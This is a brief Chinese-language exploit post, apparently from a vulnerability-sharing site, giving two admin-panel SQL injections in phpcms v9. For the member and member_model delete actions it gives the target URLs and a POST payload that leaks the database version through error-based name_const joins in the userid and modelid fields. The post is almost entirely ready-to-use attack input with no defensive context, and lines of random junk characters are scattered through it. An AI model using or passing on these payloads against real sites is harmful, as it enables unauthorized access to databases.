phpcms两处后台的SQL注入

admin

(一)：
3 w9 L% p. Q. p% t4 ]3 @& |

http://www.0day5.com/phpcmsv9/index.php?m=member&c=member&a=delete&pc_hash=GlyB7G&id

post

userid=(select * from (select * from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

0 j: E1 A* v. F' e
; R; C* L$ a5 Z) u$ Y6 l
, x( T" M/ e7 [& U3 z" z# ^

(二)：

http://www.0day5.com/phpcmsv9/index.php?m=member&c=member_model&a=delete&pc_hash=GlyB7G

post

modelid=(select * from (select * from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)